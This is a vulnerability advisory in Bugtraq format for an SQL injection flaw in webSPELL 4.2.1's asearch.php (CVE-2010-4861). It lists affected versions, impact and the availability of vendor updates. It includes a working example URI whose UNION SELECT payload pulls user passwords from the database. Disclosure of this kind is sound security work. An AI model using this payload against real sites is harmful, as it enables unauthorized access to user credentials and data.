webSPELL 'asearch.php' SQL Injection Vulnerability

Bugtraq ID:	43579
Class:	Input Validation Error
CVE:	CVE-2010-4861
Remote:	Yes
Local:	No
Published:	Sep 29 2010 12:00AM
Updated:	Oct 06 2011 04:10PM
Credit:	silent vapor
Vulnerable:	webSPELL webSPELL 4.2.1
Not Vulnerable:

webSPELL 'asearch.php' SQL Injection Vulnerability

webSPELL is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

webSPELL 4.2.1 is vulnerable; other versions may also be affected.

webSPELL 'asearch.php' SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/webspell/asearch.php?site=search&table=user&column=nickname&exact=true&identifier=userID&searchtemp=search_user&search=admin%2527%20UNION+/**/+SELECT%201,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20ws_2lu_user%20WHERE%20%25271%2527=%25271

webSPELL 'asearch.php' SQL Injection Vulnerability

Solution:
Updates are available; please see the references for more information.

webSPELL 'asearch.php' SQL Injection Vulnerability

References:

• Security Fixes for 4.2.1* (WebSPELL)
  
• webSPELL Homepage (webSPELL)